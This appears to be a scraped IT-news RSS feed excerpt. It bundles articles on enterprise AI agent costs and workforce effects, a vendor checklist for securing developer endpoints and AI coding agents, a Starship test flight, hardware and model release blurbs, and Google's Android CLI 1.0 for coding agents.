<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[SpaceX's Starship Megarocket Hits Key Milestones in 'Lucky 13' Test Flight]]></title>
<description><![CDATA[SpaceX's Friday launch of its massive Starship rocket "went quite smoothly," reports CNN, with a SpaceX spokesperson calling this mission "Lucky Number 13" (as the 13th integrated flight test for a Starship spacecraft with a Super Heavy rocket booster):


During Starship V3's inaugural test, ther...]]></description>
<link>https://tsecurity.de/de/3694249/it-security-nachrichten/spacexs-starship-megarocket-hits-key-milestones-in-lucky-13-test-flight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694249/it-security-nachrichten/spacexs-starship-megarocket-hits-key-milestones-in-lucky-13-test-flight/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SpaceX's Friday launch of its massive Starship rocket "went quite smoothly," reports CNN, with a SpaceX spokesperson calling this mission "Lucky Number 13" (as the 13th integrated flight test for a Starship spacecraft with a Super Heavy rocket booster):


During Starship V3's inaugural test, there were numerous engine issues as several on the booster failed to relight and the Starship spacecraft experienced a nail-biting engine outage. SpaceX also was forced to replace six engines on this vehicle ahead of today's flight because of a likely issue with moisture that prevented at least four from starting up correctly during an initial launch attempt last week... [Friday's Super Heavy rocket booster] fired all 33 of its engines in a pristine performance off the launchpad. The rocket booster also managed to relight 13 engines, as planned, to steer itself back toward a controlled landing. Only when Super Heavy attempted to relight its engines for a controlled landing burn over the Gulf waters did problems arise. The landing was still controlled, though Huot said the vehicle was traveling a bit faster than the company had hoped when it made touchdown. (SpaceX always intended to discard this Super Heavy booster in the ocean.) 

The Starship spacecraft had no obvious performance issues, making it all the way through its engine burn and managing to reignite one engine mid-flight as part of a test. It also made a controlled splashdown in the Indian Ocean — executing its "softest splashdown" to date in a "dream scenario," according to SpaceX's Dan Huot. The touchdown came about an hour after takeoff, as planned. During its coasting phase, Starship also deployed 20 Starlink test satellites, paving the way for operational missions later down the line in which SpaceX plans to deploy large batches of these satellites in a single launch. In another big win, SpaceX said it was able to make contact with each of those satellites. 

CNN adds that SpaceX "is facing intense pressure to get Starship ready for a crucial NASA test flight next year that could pave the way for the next moon landing. This flight was also the first for SpaceX as a publicly traded company. Last week's aborted launch attempt sparked a selloff, and shares are still trading below their IPO price. 


"To cap off the roaring success of today's flight test, SpaceX shared some stunning visuals of the upper Starship spacecraft sailing through space."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=SpaceX's+Starship+Megarocket+Hits+Key+Milestones+in+'Lucky+13'+Test+Flight%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F25%2F0511222%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://science.slashdot.org/story/26/07/25/0511222/spacexs-starship-megarocket-hits-key-milestones-in-lucky-13-test-flight?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[I tested Dell's new midrange work PC - It nails the sweet spot of price and performance]]></title>
<description><![CDATA[Dell's 14S pairs a sleek design with excellent battery life, making it one of the best midrange PC I've tested in 2026.]]></description>
<link>https://tsecurity.de/de/3694171/it-security-nachrichten/i-tested-dells-new-midrange-work-pc-it-nails-the-sweet-spot-of-price-and-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694171/it-security-nachrichten/i-tested-dells-new-midrange-work-pc-it-nails-the-sweet-spot-of-price-and-performance/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dell's 14S pairs a sleek design with excellent battery life, making it one of the best midrange PC I've tested in 2026.]]></content:encoded>
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<title><![CDATA[Claude Opus 5 arrives with near Fable performance at half the price]]></title>
<description><![CDATA[Anthropic's latest Claude upgrade targets developers and enterprises with stronger coding, better reasoning efficiency, prompt-cache-friendly tool changes, and near-Fable performance at Opus pricing.]]></description>
<link>https://tsecurity.de/de/3694167/it-security-nachrichten/claude-opus-5-arrives-with-near-fable-performance-at-half-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694167/it-security-nachrichten/claude-opus-5-arrives-with-near-fable-performance-at-half-the-price/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic's latest Claude upgrade targets developers and enterprises with stronger coding, better reasoning efficiency, prompt-cache-friendly tool changes, and near-Fable performance at Opus pricing.]]></content:encoded>
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<title><![CDATA[v0.32.4: model: add Laguna MLX support (#17237)]]></title>
<description><![CDATA[model: add Laguna MLX support

Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.
Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and exper...]]></description>
<link>https://tsecurity.de/de/3694132/downloads/v0324-model-add-laguna-mlx-support-17237/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694132/downloads/v0324-model-add-laguna-mlx-support-17237/</guid>
<pubDate>Sat, 25 Jul 2026 18:16:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>model: add Laguna MLX support</li>
</ul>
<p>Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.</p>
<p>Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and expert projections, selectively promote sensitive expert down projections, and emit per-tensor metadata for mixed quantization blobs.</p>
<p>Correct dense expert loading, BF16 source-layout handling, expert global-scale shapes and dtypes, routing-score scaling, and mixed-precision expert dispatch. Gate/up and down projections select quantized or dense execution independently so promoted BF16 down projections do not force quantized gate/up weights through the dense fallback.</p>
<p>Optimize the forward pass with compatible gate/up fusion, sorted standard GatherMM and GatherQMM operations for larger prefills, model-local mlx.Compile closures for elementwise MoE work, and cache-backed 512-token prefill chunks. This keeps the implementation on maintained MLX operations without custom kernels.</p>
<p>Add focused tests for Laguna configuration variants, quantization policy and metadata, dense and routed expert loading, mixed-precision dispatch, compiled-versus-eager parity, fused projections, routing, and prefill chunking.</p>
<ul>
<li>review comments and S 2.1 performance fixes</li>
</ul>
<p>Address renderer/parser selection and mixed-precision expert quantization review feedback.</p>
<p>Keep Laguna weights resident on Metal to prevent repeated paging of its large, sparsely accessed expert buffers. Scope this policy to Laguna GPU execution.</p>
<p>Remove obsolete 512-token prefill chunking now that the runner's 2048-token path is faster.</p>
<ul>
<li>
<p>review comments addressed</p>
</li>
<li>
<p>fix create</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLU7gkfsf4axphzvtOKcqEkI3MLKZqX6Y9jGVReW6Ximz61c8klVVc0_Xs5Fw_aqk5yjl3K-Mit6cyKq0SLOJbUhUZ7R3dZZcwShqn5jYp-DuHY8hNoBWHJkicoIJ9DKRINQt6seAB3s2mcwANFYX9k0scYyCgfIYQrof7ImxOvzEW7BNj0ZPwEGB5FI/s2048/GoogleForDevelopers-AndroidCombo3-StrapiMetacard-2048x1323%20(1).png">





<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

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  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
